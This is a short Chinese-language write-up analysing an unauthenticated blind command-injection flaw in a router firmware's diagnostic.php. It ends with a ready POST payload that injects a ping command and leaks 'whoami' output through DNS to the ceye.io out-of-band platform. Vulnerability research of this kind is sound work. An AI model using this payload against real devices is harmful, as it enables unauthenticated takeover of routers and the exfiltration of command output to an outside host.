解开固件进入 suashfs-root/htdocs 文件夹。这个漏洞出现在 diagnostic.php 文件。直接看代码:
HTTP/1.1 200 OK
Content-Type: text/xml
<?
if ($_POST["act"] == "ping")
{
set("/runtime/diagnostic/ping", $_POST["dst"]);
$result = "OK";
}
else if ($_POST["act"] == "pingreport")
{
$result = get("x", "/runtime/diagnostic/ping");
}
echo '<!--?xml version="1.0"?-->\n';
?>
分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set(“/runtime/diagnostic/ping”, $_POST[“dst”]); 这段代码就是造成漏洞的关键代码。参数 dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = “OK”; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload
url = ‘localhost/diagnostic.php’
data = “act=ping&dst=%26 ping whoami
.ceye.io%26”
因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。